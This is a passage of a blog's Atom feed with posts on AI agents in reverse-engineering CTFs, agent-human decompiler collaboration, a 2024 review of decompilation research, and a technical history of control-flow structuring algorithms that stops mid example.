<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://mahaloz.re/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mahaloz.re/" rel="alternate" type="text/html" /><updated>2026-09-28T17:39:10+00:00</updated><id>https://mahaloz.re/feed.xml</id><title type="html">mahaloz.re</title><subtitle>The blog of mahaloz: all things hacking and computer science included!</subtitle><entry><title type="html">Hackwrights and the Race to the Fastest AI Hackers</title><link href="https://mahaloz.re/2026/09/28/hack-race.html" rel="alternate" type="text/html" title="Hackwrights and the Race to the Fastest AI Hackers" /><published>2026-09-28T00:00:00+00:00</published><updated>2026-09-28T00:00:00+00:00</updated><id>https://mahaloz.re/2026/09/28/hack-race</id><content type="html" xml:base="https://mahaloz.re/2026/09/28/hack-race.html"><![CDATA[<h2 id="ai-racing">AI Racing</h2>

<p>Last weekend, a <a href="https://github.com/mahaloz/ilio-mini">lightweight harness</a> I made around Codex finished 3rd in <a href="https://flare-on13.ctfd.io/scoreboard">Flare-On 13</a>, one of the hardest CTFs in reverse engineering.
I had only one goal while making it: to build something faster, lighter, and easier to optimize than other people’s AI setups (regardless of model).
My theory was that replacing the tools and skills with faster alternatives, like my own <a href="https://github.com/noelo-lab/kuna">optimized decompiler Kuna</a>, could help me eke out a decisive victory.
I analyzed <a href="https://mahaloz.github.io/ilio-mini/flareon13_results/">some of this data</a>, and the core tools did in fact play a strong role.
Of course, I had also tested it on multiple CTFs beforehand, but there is nothing like a good ol’ scoreboard to see the horses run live!
This result, along with my experiences over the past year, has led me to believe that improving <em>speed</em> and reducing <em>cost</em> will be endgame goals for autonomous hackers.</p>

<p>This idea really took shape in my mind last summer at <a href="https://defcon.org/html/links/dc-ctf.html">DEF CON CTF Finals</a>, arguably the Olympics of hacking.
Every top-notch group of hackers, including <a href="https://shellphish.net">us</a>, relied heavily on AI agents in the competition, often to solve challenges autonomously.
Many points were decided simply by whose agent solved the challenge faster.
Back then, we started benchmarking our autonomous system to see where we could optimize it (a much bigger, closed system than the one I described above).
One area for optimization was how the decompiler helped agents reason about code.</p>

<p>I focused on optimizing one tool, the decompiler Kuna, around what I believed AI needed.
It was <a href="https://github.com/Noelo-Lab/kuna/issues/510#issuecomment-5645307854">fast</a> and moved decompilation output out of MCP and into <a href="https://github.com/Noelo-Lab/kuna#cli-usage">text files that looked more like source code</a>.
On a dataset from <a href="https://github.com/crackmesone/crackmes-re-dataset">crackmes.one</a>, we found our Kuna-based system solved challenges using about 45% fewer tokens than the system using IDA Pro 9.4 MCP.
Its solve times were also about 9% faster than IDA’s or on par with them.
These results are preliminary, and the dataset could always be bigger, but I suspect there are many more opportunities for this kind of optimization in AI hacking.</p>

<p>I like to think of those who build, optimize, and manage these autonomous hacking systems as Hackwrights.
Hackwrights are builders with a hacker’s intuition.
They may not be traditional <em>hackers</em> who have mastered the art themselves.
I believe CTFs can continue to grow and satisfy both groups.
But I understand that there is a lot of anger, fear, and grief surrounding this idea.</p>

<h2 id="responding-to-ai-doom-in-hacking">Responding to AI Doom in Hacking</h2>

<p>There has been a strong sense of doom in the community around AI in hacking.
Not everyone was happy to see AI on the Flare-On scoreboard; it has prizes, after all, and I won’t be claiming any.
I argue all CTFs should have separate <code class="language-plaintext highlighter-rouge">autonomous</code> and <code class="language-plaintext highlighter-rouge">human</code> brackets, each with its own prizes, to mitigate some of this fallout.
There should always be a place for humans to learn how to hack and compete, much as there is in chess.
But there should also be room for Hackwrights and their constructions.</p>

<p>To my fellow hackers, can we not find joy in both directions hacking is evolving?
Yes, CTFs have completely changed, and perhaps the balance of <em>power</em> has shifted away from humans.
Yet, in part, this has been many teams’ goal since the early days of CTF.
I have always fantasized about showing up to a CTF with a better tool to flex on other teams.
That same motivation has helped us advance cybersecurity for society at large.</p>

<p>We have the chance to make a broader impact on society through fast and cheap automation.
Luckily, that optimization process can also be incredibly fun and competitive.
I want to see more hope and excitement back in my community.
I want to see what the fastest AI hacker built by cunning Hackwrights looks like (ideally open source).</p>

<p>Race you to the flag!</p>]]></content><author><name></name></author><category term="musing" /><summary type="html"><![CDATA[My recent experiences in optimizing AI for hacking across CTF, 0-day hunting, and research. I argue that there is joy to be had and room to be made for the Hackwright: those that build, optimize, and manage autonomous hacking systems.]]></summary></entry><entry><title type="html">LLMs Have Reshaped How We Think About Decompilation and Collaboration</title><link href="https://mahaloz.re/2026/06/10/hexrays-feature.html" rel="alternate" type="text/html" title="LLMs Have Reshaped How We Think About Decompilation and Collaboration" /><published>2026-06-10T00:00:00+00:00</published><updated>2026-06-10T00:00:00+00:00</updated><id>https://mahaloz.re/2026/06/10/hexrays-feature</id><content type="html" xml:base="https://mahaloz.re/2026/06/10/hexrays-feature.html"><![CDATA[<blockquote>
  <p>Note: This post is a copy of a think piece written for Hex-Rays and originally published there: https://hex-rays.com/blog/llms-have-reshaped-how-we-think-about-decompilation-and-collaboration.
It is saved here for posterity.</p>
</blockquote>

<h2 id="shifting-times">Shifting Times</h2>

<p>A few weekends ago, I was playing DEF CON CTF Quals, the qualification event for the “<a href="https://news.asu.edu/20200804-olympics-hacking">Olympics of Hacking</a>,” with my team <a href="https://shellphish.net/">Shellphish</a>.
I say “playing” because I am, at this point, a washed-up hacker, but add me to the 40-something ranks!
Nonetheless, I showed up, downloaded a binary, and went to open it in IDA Pro: a reflexive, built-in response to anything compiled.
But as that ever-knowing face rendered on my screen, I paused for a moment to take in the surrounding feverish hacking.
Something was strange: no one else had IDA Pro open.
In fact, no one had any decompiler open!</p>

<p>Across the room and on my machine too, we all had <a href="https://openai.com/academy/what-is-codex/">Codex</a> open, a flexible coding agent that was now doing the hacking.
This agent, of course, had IDA Pro open, because it actually needed to analyze the binary like a real hacker.
So what did we, the humans, do for the whole game?
We each became a multi-challenge hacker: a sort of general with an army.
We spent most of our time suggesting high-level reversing routes, invalidating broken PoCs, and fixing or enabling better tools for our agents.</p>

<p>But after some of our armies began to falter on the harder tasks, we encountered a new problem.
How do we coordinate our armies, validate what they found, and know where they are stuck?
Or, better put, in this new world of hacking, how do we optimize the way information is relayed and validated in an agent-human hacking environment?
Funny enough, this is the premise of this post: we’ve been trying to solve almost this exact collaboration problem for years.
Now the same problem is coming back, except the workers are agents and the humans are supervising the whole mess.</p>

<h2 id="collaborating-with-humans">Collaborating with Humans</h2>

<p>In 2021, days before that year’s DEF CON Finals, we began development on our decompiler collaboration framework <a href="https://binsync.net/">BinSync</a>, which recently won <a href="https://hex-rays.com/blog/announcing-the-2025-plugin-contest-winners">second place</a> at the Hex-Rays plugin contest.
At the time, it was obvious that no challenge <em>was an island, entire of itself</em>, and so we needed many eyes on one binary.
We had two problems then:</p>
<ol>
  <li>Not everyone on the team was equally good at hacking (especially me!). Therefore, a level of control was needed to keep noobs and pros from clobbering each other’s work.</li>
  <li>We had a diverse breakdown of decompiler usage: 70% used IDA Pro, 20% used Binary Ninja, 5% used Ghidra, and 5% used the angr decompiler (mostly Fish and I). We couldn’t just share IDBs, and we couldn’t rely on one-off translations from each tool.</li>
</ol>

<p>The solutions emerged somewhat naturally.
Do not share the whole decompiler database; share the <em>information</em> learned from the binary.
Record names, types, patches, and other facts in a form with history and the ability to selectively merge that history: Git!
When storing information, lift it from one specific tool (decompiler) into something high-level and human-readable.
Finally, to get that information back into each tool, translate it from high-level form back into the tool-specific format (think <code class="language-plaintext highlighter-rouge">_WORD</code> versus <code class="language-plaintext highlighter-rouge">uint16</code>).
This gave every tool a path to collaboration and let pros selectively merge changes from noobs into their local reversing branches.
Wrap all of this in a fancy GUI that works on all decompilers, and we were rolling!</p>

<p>Since every atom of information learned was a commit in BinSync, it also created a cool historical way to view team progress.
Here is what one DEF CON Quals looked like by commit, with annotations indicating when a challenge was solved. If you look closely, you can see when the team was sleeping.</p>

<p><img src="/assets/images/binsync_commits.png" alt="alt text" /></p>

<p>Before long, BinSync created a way for our team to share information rapidly, but the more interesting thing it created was shared reversing memory.
As we (<a href="https://www.zionbasque.com/">myself</a>, <a href="https://x.com/shellphish">Shellphish</a>, and <a href="https://sefcom.asu.edu/">SEFCOM</a>) continued to refine it, more teams began to adopt it in some form.
Eventually, people started using it for <a href="https://decompilation.wiki/applications/program-reconstruction/#video-games">open-source reversing</a> (reversing a binary with the diff living on GitHub), which was awesome!
This all created a sense that we were trending in the right direction for closing the gap in human-to-human hacking collaboration.
The durable lessons were about common representation, history, selective trust, and visibility into progress.</p>

<p>But snap back to reality: does any of this matter now?</p>

<h2 id="collaborating-with-agents">Collaborating with Agents</h2>

<p>Our recent hacking experience has taught us that humans are no longer the center of the collaboration chain.
Agents are now the central workers in any program-hacking task.
Agents talk to other agents, which in turn talk to tools, and a final agent talks to us.
This reframing makes some previous work less central, but it also opens new avenues for research.
Let’s start with what changes.</p>

<p>First, although agents may use multiple decompilers, they are often perfectly happy to translate between those formats themselves, with no BinSync needed.
They do benefit slightly from a lifted common format, but those gains may not justify the effort.
So, you really don’t need the same translator layer when LLMs are already built-in translators.</p>

<p>Second, agents rarely need help from other agents when reverse engineering.
In our early experiments, the majority of binaries you encounter on a system are fully reversible by a single Codex agent.
These agents can much more easily “fan out” and explore every path to an exploit through independent work rather than relaying information.
Goodbye to Git merging as the way agents send changes to each other.</p>

<p>Third, the human-first GUIs we’ve come to develop, both in BinSync and more broadly in decompilers, matter much less to agents.
This hurts especially hard, since those GUIs are often the parts that took the longest to refine.</p>

<p>Not all previous lessons disappear, however.
Coordinating many agents with humans for oversight and redirection is actually a lot like being a captain on a big CTF team.
You need ways to know where agents are stuck at scale, what they already tried, and how much you should trust what they found.
This also matters significantly on multi-binary targets like firmware.
Lessons learned from BinSync are beginning to take shape as similar history, provenance, and progress analytics, but for agents.
Thanks, Git!</p>

<p>However, harder concepts still exist.
For an expert hacker, learning how to effectively redirect or steer these agents is hard to measure and improve.
So hard, in fact, that <a href="https://www.ndss-symposium.org/wp-content/uploads/2026-f380-paper.pdf">we have published papers</a> and <a href="https://x.com/mahal0z/status/2026759100957167766?s=20">won awards</a> for exploring the early science of this process.
But there is still much we do not know.
Do you only need to know the right words to unstick a model?
Are there higher-level concepts in hacking that improve performance when taught to a model?
Can we represent any of this graphically and build better human interfaces for understanding reversing reasoning?</p>

<p>More questions than answers, but isn’t it exciting!?!
We are in a whole new era, and the science of hacking collaboration has a new direction.</p>

<h2 id="the-future">The Future</h2>

<p>I see a few changes coming to <em>a local tool near you</em>.
Decompilers, as they exist now, are going to undergo significant change in this age of agent collaboration.
The tools best suited for agents will likely be the ones to survive into the next era of reversing.
For the first time in a long time, you may see significant changes to the GUIs of your decompilers.</p>

<p>The new interfaces need to toe-the-line on what <em>really</em> must be known by a human, and what instead can be automated.
It should expose what agents believe, what evidence they used, what paths they already tried, where they are stuck, and when a human should step in.
That is not the same as dumping a chat log next to pseudocode.
It is closer to making reversing progress inspectable, an area currently receiving significant <a href="https://www.darpa.mil/research/programs/ai-forge">money and attention through AI</a>.</p>

<p>For better or for worse, how we collaborate, how we reverse engineer, and how we hack, is changing.
The best tools in this next phase will not hide the human or pretend the agent is magic.
They will make the handoff between human judgment and agent work cleaner, faster, and easier to trust.</p>

<p>Discovering the ways we can harness that change to improve our lives and the security of the world will require work.
We, on the BinSync team, look forward to chasing the next phase of that collaboration and sharing it with you all.</p>

<p>See you on the other side!</p>]]></content><author><name></name></author><category term="musing" /><summary type="html"><![CDATA[How LLM agents are changing decompilation workflows, collaboration, and the future of reversing tools.]]></summary></entry><entry><title type="html">Decompiling 2024: A Year of Resurgence in Decompilation Research</title><link href="https://mahaloz.re/dec-progress-2024" rel="alternate" type="text/html" title="Decompiling 2024: A Year of Resurgence in Decompilation Research" /><published>2025-01-29T00:00:00+00:00</published><updated>2025-01-29T00:00:00+00:00</updated><id>https://mahaloz.re/dec-progress-24</id><content type="html" xml:base="https://mahaloz.re/dec-progress-2024"><![CDATA[<h2 id="looking-back-on-2024">Looking Back on 2024</h2>
<p>Last year, I kicked off 2024 by paying tribute to the <a href="https://mahaloz.re/dec-history-pt1">last 30 years of decompilation research</a>, where I summarized work in <a href="https://mahaloz.re/dec-history-pt2">control flow structuring</a>.
As 2025 has come along, it only feels right to do a similar post, but instead on a tighter scope of the field’s growth in 2024 alone.
Though this field is still small, it feels like it is growing rapidly.
2024 featured a talk tour by the decompilation pioneer <a href="https://x.com/criscifuentes?lang=en">Dr. Cristina Cifuentes</a>, a <a href="https://cfp.recon.cx/recon2024/talk/NAPZWM/">world-renowned decompilation panel</a> at Recon 2024, and the highest top-tier publication record in history for decompilation.</p>

<p>For me, 2024 was filled with lots of travel and new colleagues.
Many of these new colleagues are decompilation practitioners, rising experts, and even bonafide field pioneers.
They reign from academia and industry alike, and many have their own vision for where they believe this field is going.
However, there is a unifying trend in <em>vibes</em>: decompilation research is back.</p>

<h2 id="a-surge-in-academic-work">A Surge in Academic Work</h2>
<p>Academia, publications, and <em>graphs</em> don’t always tell the whole truth about a field, but it’s a great place to start.
The graph below shows the number of decompilation works published in academic venues since 1993 (<a href="https://clei.org/proceedings_data/CLEI1993/TOMO%201/Tomo%201%20por%20articulo_OCR/CLEI%201993-tomo%201_257-266_OCR.pdf">the earliest academic work</a>).</p>

<p><img src="/assets/images/dec-recap-24/pubs_per_year.png" alt="" /></p>

<p>The graph data is sourced from my <a href="https://docs.google.com/spreadsheets/d/13QUqON6cwNADk-2E1hwiKxXeCd0ESXUmkA9_dweCESM/edit?usp=sharing">list of decompilation works</a> made for the <a href="https://decompilation.wiki/">Decompilation Wiki</a>.
It includes nearly every paper from software engineering, programming languages, and security conferences published from 1970 onwards.
The papers graphed above are exclusively works in decompilation, as opposed to works in compilation that contributed to decompilation (see sheet for more info).</p>

<p>Starting in 2011, the total number of top-tier published papers (as defined by <a href="https://csrankings.org/">csrankings</a>) was <strong>25</strong>.
Amazingly, <strong>30%</strong> of all top-tier work was published in 2024, 8 papers in total.
It’s hard to claim line trends with such a small dataset (usually one paper a year), but 2024 is clearly out of place.
2024 more than doubled the total top publications in 2022, which had also doubled 2020.</p>

<p>Interestingly, we also see a trend of the top vs low-tier publications for academics.
Decompilation has traditionally been saturated in non-top-tier conferences.
It’s hard to know <em>why</em>, but I speculate it’s due to decompilations’ difficulty to publish in top conferences.
However, we’ve recently seen top publications close to or exceed non-top publications in quantity.</p>

<p>This data indicates two things to me:</p>
<ol>
  <li><strong>Decompilation is now mature enough to publish in top-tier</strong></li>
  <li><strong>Decompilation is growing rapidly</strong></li>
</ol>

<p>This is great news, but is field health just about quantity? What about quality?
Well, let’s take a closer look at three emerging trends from the <strong>eight works</strong> published in 2024.</p>

<h2 id="trend-1-defining-good-decompilation">Trend 1: Defining “Good” Decompilation</h2>
<p>Often, decompiler enthusiasts argue about what the “best” decompilation looks like, primarily with no good answer.
Luckily, <strong>four of the eight</strong> new works measured and defined what good decompilation should look like.
These studies were both automated and human-driven and often defined new ways to improve decompilation for the future.
Take, for instance, the work from <a href="https://se-phd.s3d.cmu.edu/People/students/student-bios/dramko-luke.html">Dramko et al.</a> on studying <a href="https://www.usenix.org/conference/usenixsecurity24/presentation/dramko">“Decompiler Fidelity Issues”</a>, pictured below.</p>

<p><img src="/assets/images/dec-recap-24/dramko_paper.png" alt="" /></p>

<p>His work took the gracious time to define what exactly is wrong with decompilation manually.
To the savvy decompiler user, this may seem like a grouping of well-known problems.
However, this work establishes a precedent: <strong>good decompilation looks like its source</strong>.
Interestingly, this work’s claim coincides with work published simultaneously, <a href="https://www.usenix.org/system/files/sec23winter-prepub-301-basque.pdf">SAILR</a> (my work).
SAILR, extended this manual effort by introducing an automated algorithm for <a href="https://github.com/mahaloz/sailr-eval">finding mismatches in source and decompilation</a> and improving those locations, which may find itself <a href="https://github.com/NationalSecurityAgency/ghidra/issues/6133">in Ghidra soon</a>.
Both work towards making decompilation like source.</p>

<p>On the other end of the spectrum, one work, <a href="https://dl.acm.org/doi/10.1145/3643744">R2I</a>, defined good decompilation as being <em>simple</em>, much like previous work.
They focus on finding the best decompilation by <a href="https://dogbolt.org/">comparing decompilers</a> against each other.
Finally, the last work defined good decompilation as being semantically accurate.
The work <a href="https://www.usenix.org/system/files/usenixsecurity24-zou.pdf">D-Helix</a> used <a href="https://en.wikipedia.org/wiki/Symbolic_execution">symbolic execution</a> to verify if decompilation was like its source, finding actual bugs in decompilers.</p>

<p>To keep count, <strong>2</strong> vote source code recovery, <strong>1</strong> vote simple code recovery, and 1 vote <em>semantically</em> correct.
These works open the door for continued development and publication in decompilation research.</p>

<h2 id="trend-2-aixdecompilation-is-here-to-stay">Trend 2: AIxDecompilation is Here to Stay</h2>
<p>If you’ve ever talked to me in person, you’d know that I’m a disbeliever of AI replacing decompilers any time soon.
However, 2024 research has made it clear that AI has a real place in improving <em>specific</em> tasks in decompilation.
There were <strong>four works utilizing AI in 2024</strong>, working on symbol prediction, type prediction, and overall code simplification.</p>

<p>LLMs made their debut in decompilation in two works: <a href="https://www.ndss-symposium.org/wp-content/uploads/2024-401-paper.pdf">DeGPT</a> and <a href="https://www.cs.purdue.edu/homes/lintan/publications/resym-ccs24.pdf">ReSym</a>.
Both utilized LLMs to recover variable names, structures, types, and, in the case of DeGPT, code simplification (though very limited).
Other works used more traditional models to do singular tasks.
<a href="https://adamdoupe.com/publications/varbert-oakland2024.pdf">VarBERT</a> utilized a <a href="https://en.wikipedia.org/wiki/BERT_(language_model)">BERT</a> model to predict variable names, while <a href="https://www.usenix.org/system/files/usenixsecurity24-zhu-chang.pdf">TyGr</a> utilized a <a href="https://en.wikipedia.org/wiki/Graph_neural_network">GNN</a> to predict structures and variable types.</p>

<p>Here are some of the inspiring results of structure recovery from AI works (ReSym shown below):</p>

<p><img src="/assets/images/dec-recap-24/resym_example.png" alt="" /></p>

<p>These works resulted in a strict improvement over traditional decompilation, which almost always lacks types and symbols.
It’ll be interesting to see if these approaches can improve with bigger models (<em>coughs in o1</em>) and how much of the <a href="https://decompilation.wiki/fundamentals/overview/">fundamental</a> components in decompilers can be replaced.
I think it will only get better from here.</p>

<h2 id="trend-3-theory-comes-with-application">Trend 3: Theory comes with Application</h2>
<p>I often feel that industry looks down on academia because we frequently have unusable inventions and theories.
Being a mainly applied science, decompilation <em>must</em> be the exception to these expectations, and luckily, it was in 2024.</p>

<p>In all but 1, each 2024 paper came with an open-source implementation.
Many of those implementations had <a href="https://github.com/mahaloz/angr-sailr">working</a> <a href="https://github.com/binsync/varbert_api">tools</a> <a href="https://github.com/lt-asset/resym">that</a> <a href="https://github.com/purseclab/D-helix">could</a> <a href="https://github.com/PeiweiHu/DeGPT">be</a> <a href="https://github.com/sefcom/TYGR">integrated</a> <a href="https://github.com/e0mh4/R2I">into</a> real-world decompilers and techniques.
Considering that back in 2011, none of the decompilation works were open-source, this is a massive step in the right direction.</p>

<p>This trend allows the industry to gain usefulness from work in decompilation research more rapidly, making it more valuable.
Additionally, it makes it easier for new researchers to quickly understand flaws in previous work and look for new directions.
I encourage others to make usable and open-source implementations of their epic works so we can all nerd out together about them.</p>

<h2 id="other-researchers-and-conferences">Other Researchers and Conferences</h2>

<p>Aside from direct academic publishing, many other things flourished this year for decompilation.
There were <a href="https://hex-rays.com/blog/discover-ida-9.0-exciting-new-features-and-improvements">big updates</a> for big decompilers, <a href="https://github.com/angr/angr/pull/4695">fundamental changes</a> for smaller ones, new industry <a href="https://blog.reveng.ai/training-an-llm-to-decompile-assembly-code/">approaches in full-AI decompilers</a>, and some great talks across the cons.
I’d also like to acknowledge all the unpublished researchers who showed me really cool things in 2024, like a DSL for decompilation.</p>

<p>For most of 2024, Dr. Cristina Cifuentes (the academic pioneer of decompilers) toured the world, <a href="https://www.youtube.com/watch?app=desktop&amp;v=wo3xEa2elp4&amp;list=PLUzWZANghr3bfJ3teu-bvdAZJzmU0g4iY&amp;index=32">giving talks</a> on her work in shaping the last 30 years of research.
From my perspective, this peaked when she gave <a href="https://cfp.recon.cx/recon2024/talk/GYG8FH/">the keynote</a> at <a href="https://cfp.recon.cx/recon2024/schedule/">Recon 2024</a>.
The announcement of her talk set off a flurry of talk proposals on decompilation at Recon, totaling five talks involving decompilation and including a <a href="https://cfp.recon.cx/recon2024/talk/NAPZWM/">decompilation expert panel</a>.</p>

<p>The panel, consisting of industry and academic experts, was epic, to say the least.
To name a few, it included:</p>

<ul>
  <li><a href="https://web.cs.dartmouth.edu/people/sergey-bratus">Dr. Sergey Bratus</a>, a previous DARPA PM and kickstarter of significant DoD investment in decompilation</li>
  <li><a href="https://en.wikipedia.org/wiki/Ilfak_Guilfanov">Ilfak Guilfanov</a>, the creator of IDA Pro</li>
  <li><a href="https://github.com/D0ntPanic">Rusty Wagner</a>, the man behind some of <a href="https://binary.ninja/2024/06/19/restructuring-the-decompiler.html">the biggest changes</a> in Binary Ninja</li>
</ul>

<p>Dr. Cifuentes grilled each panel member to give their honest opinions on the future of decompilation.
Many said, “There is more to do and more breakthroughs to be had.”
One such panel member, Ilfak, the current king of decompilers, said otherwise but admitted that breaking a decompiler was as easy as “breaking a baby.”
To summarize, it was a meeting of legends that inspired the community to keep pushing.</p>

<p>Note: <em>no babies were harmed in the making of these decompilers</em>.</p>

<h2 id="concluding">Concluding</h2>
<p>With the trend of publications, new findings, and general expert vibes, I can only conclude that 2024 was a special year for decompilation.
This is the field’s most active year since its inception in the 90s.
I remain optimistic that it is only the beginning of the research that will come in decompilation.
That also makes 2025 a spectacular year to ride the new excitement in the field and do great research, both from new and old researchers.</p>

<p>If you are a rising expert (or a zany practitioner), I encourage you to contribute your knowledge to the <a href="https://decompilation.wiki/">Decompilation Wiki</a> so it may continue to organize and guide the field.
Additionally, if you have any smaller research in decompilers you think is neat, consider following me on some social media, where announcements for a new decompilation workshop may come.
The conference to be co-located at is still being discussed, but I’m actively looking to gauge interest from the community.</p>

<p>Finally, I’d like to acknowledge <a href="https://www.linkedin.com/in/dustin-fraze-642682107">Dustin Fraze</a> for his work on DARPA’s <a href="https://www.darpa.mil/research/programs/computers-and-humans-exploring-software-security">CHESS</a> program, which funded and made many of this research possible.
He also reports bugs in decompilers a lot… ha! 
Thank you for reading and joining me on this journey through decompilation.
Here’s to 2024 and the exciting research to come in 2025!</p>]]></content><author><name></name></author><category term="research" /><summary type="html"><![CDATA[The year 2024 was a resurgent year for decompilation. Academic publications from that year made up nearly 30% of all top publications ever made in decompilation. In this post, I do a summarization and retrospective of both the academic and ideological progress of decompilation in 2024. Hint: decompilation research is back.]]></summary></entry><entry><title type="html">30 Years of Decompilation and the Unsolved Structuring Problem: Part 2</title><link href="https://mahaloz.re/dec-history-pt2" rel="alternate" type="text/html" title="30 Years of Decompilation and the Unsolved Structuring Problem: Part 2" /><published>2024-01-10T00:00:00+00:00</published><updated>2024-01-10T00:00:00+00:00</updated><id>https://mahaloz.re/dec-history-pt2</id><content type="html" xml:base="https://mahaloz.re/dec-history-pt2"><![CDATA[<h2 id="a-recap">A Recap</h2>

<p>In <a href="/dec-history-pt1">Part 1</a> of this series, we looked at the past 30 years of decompilation, providing a broad overview of how the field has been shaped.
We also briefly covered how Cifuentes-based structuring worked: <a href="/dec-history-pt1#example-graph">graph-schema matching</a>, where an algorithm identifies patterns in CFGs to make code.
Part 1 also garnered some interesting discussion across the web on <a href="https://news.ycombinator.com/item?id=38859219">Hacker News</a>, <a href="https://www.reddit.com/r/ReverseEngineering/comments/18xrsgn/30_years_of_decompilation_and_the_unsolved/">Reddit</a>, and <a href="https://twitter.com/mahal0z/status/1742576555153355223">Twitter</a> among others. 
Generally, I think the community is very alive and excited about research and posts in this area, which is encouraging :).</p>

<p>In this post, we focus on only four papers from the last 11 years:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024: USENIX   - Ahoy SAILR! There is No Need to DREAM of C: A Compiler-Aware Structuring Algorithm <span class="k">for </span>Binary Decompilation
2020: Asia CCS - A Comb <span class="k">for </span>Decompiled C Code
2015: NDSS     - No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations. 
2013: USENIX   - Native x86 Decompilation Using Semantics-Preserving Structural Analysis and Iterative Control-Flow Structuring.
</code></pre></div></div>

<p>These papers, together, make up the entire history of decompilation structuring research in the security community. 
We will briefly overview the methods proposed in each of these works and how they influenced the next paper. 
Admittedly, the final paper in this series is SAILR, my paper. 
As such, I’ll be using many of the same arguments and questions I used in my paper to understand previous works mentioned here.
As said in the summary of this post, Part 2 will be more technical than Part 1, but it should be accessible to newcomers.</p>

<p>As a reminder, though these are all of the decompilation structuring papers in security, many structuring techniques were informed from other fields and conferences. 
These include the research communities for compilers, static analysis, and programming languages.
Here are some notable ones listed for completeness which will not be covered in this post:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2022: Beyond Relooper: recursive translation of unstructured control flow to structured control flow <span class="o">(</span>functional pearl<span class="o">)</span> 
2011: Emscripten: an LLVM-to-JavaScript compiler
1997: Making Graphs Reducible with Controlled Node Splitting
1973: On the capabilities of <span class="k">while</span>, repeat, and <span class="nb">exit </span>statements
1970: Control flow analysis
</code></pre></div></div>

<h2 id="phoenix-condition-aware-schema-matching">Phoenix: Condition-Aware Schema Matching</h2>

<p>The 2013 work <a href="https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf">Phoenix</a> came at an interesting time since when it was published IDA Pro had an openly working decompiler for over 6 years. 
IDA Pro had been generating code that was better than other decompilers, but no one in the academic community knew why for certain (because it’s closed-source).
In many ways, Phoenix was an attempt to make public the techniques that IDA Pro had been using to beat others, though Phoenix itself was never open-sourced. 
As such, the Phoenix decompiler core is much like Cifuentes’ work on schema-matching, but with improved condition awareness and more schema.</p>

<p>Phoenix elaborated on many of the modern mechanics of structuring, such as loop refinement, switch refinement, condition handling, and even some special if-else case structuring.
This was important enough that some hacker decompilers, like Reko, <a href="https://github.com/uxmal/reko/blob/63ba0cc20449ef51b23d3c8e89aa903715cf0714/src/Decompiler/Structure/StructureAnalysis.cs#L1154">implemented much of the Phoenix paper</a>.
However, some of the largest impacts Phoenix had on the future of decompiler research can be surmised in three proposed points:</p>
<ol>
  <li>When you run out of good schema to match, you must use a <em>goto</em>. The process of turning an edge into a goto is called <strong>virtualization</strong>.</li>
  <li>Gotos in decompilation are bad, reduce them.</li>
  <li><a href="https://www.gnu.org/software/coreutils/">Coreutils</a> is a good dataset for the evaluation of decompilers.</li>
</ol>

<p>To understand some of those claims, let’s look back at our example graph from Part 1:</p>

<h4 id="example-graph">Example Graph</h4>
<p><img src="/assets/images/dec-history/struct_ex.png" alt="" /></p>

<p>Recall, that <code class="language-plaintext highlighter-rouge">B-E</code> makes a good <code class="language-plaintext highlighter-rouge">if-else</code>, but <code class="language-plaintext highlighter-rouge">A-&gt;C</code> violates that structure.
In Cifuentes’ work, you’re allowed to also remove <code class="language-plaintext highlighter-rouge">A-&gt;B</code>, which will result in something structurable. 
Phoenix introduces more rules to choosing which edge to <em>virtualize</em> (make into a goto):</p>
<blockquote>
  <p>“… remove edges whose source does not dominate its target, nor whose target dominates its source.”</p>
</blockquote>

<p>Under these rules, you must choose to virtualize <code class="language-plaintext highlighter-rouge">A-&gt;C</code>.
After virtualizing, your graph loses an edge and it’s recorded as a goto.
The resulting graph looks like this:</p>

<h4 id="example-virtualized-graph">Example Virtualized Graph</h4>
<p><img src="/assets/images/dec-history/virt_cfg.png" alt="" /></p>

<p>Now the graph is only full of schema we can match, <a href="/dec-history-pt1#example-structured-code">resulting in structured code</a> with <strong>only 1 goto</strong>.
Had you chosen to virtualize <code class="language-plaintext highlighter-rouge">A-&gt;B</code> instead, you could end with <strong>2 gotos</strong>.
Indeed, in the case of this CFG, 1 goto was better than 2 gotos. 
According to Phoenix, this phenomenon remains consistent as you reduce gotos: <a href="https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf">gotos are considered harmful</a>.</p>

<p>The most popular decompilers today follow the same principles outlined in Phoenix.
That list includes <a href="https://ghidra-sre.org/">Ghidra</a>, <a href="https://hex-rays.com/ida-pro/">IDA Pro</a>, and <a href="https://binary.ninja/">Binary Ninja</a>.
I largely attribute their differences in output to be either based on better schema (IDA case) or better lifting (Ghidra case).</p>

<p>The idea that you should reduce the number of gotos emitted in decompilation had a profound effect on the research direction future academics took.
Gotos became the prime metric for making your decompiler better.
With a metric to min-max, the next two papers focused on doing just that: getting gotos emitted to <strong>0</strong>.</p>

<h2 id="dream-schemaless-condition-based-structuring">DREAM: Schemaless Condition-Based Structuring</h2>

<p>2015 was an active year for decompilation, amounting to many <a href="/dec-history-pt1#the-dawn-of-hacker-decompilers">hacker decompilers</a> and a new structuring algorithm. 
The paper <a href="https://net.cs.uni-bonn.de/fileadmin/ag/martini/Staff/yakdan/dream_ndss2015.pdf">“No More Gotos: Decompilation Using Pattern-Independent Control-Flow Structuring and Semantic-Preserving Transformations”</a>, colloquially referred to as DREAM, boasted a novel algorithm that could output decompilation with <strong>0 gotos</strong>.
This is a significant feat, considering, according to the DREAM paper, Phoenix had over <strong>4,231</strong> gotos in their output of Coreutils.</p>

<p>To make such a quantitatively large jump required a drastically different structuring algorithm.
DREAM proposed the idea that you don’t <em>need schema</em> when making decompilation.
Instead, you can use the conditions on statements to generate semantically equivalent code. 
Taking a look at our <a href="#example-graph">example CFG</a>, DREAM would initially generate the following code based on its conditions:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">A</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">~</span><span class="n">x</span><span class="p">)</span>
  <span class="n">B</span><span class="p">();</span>
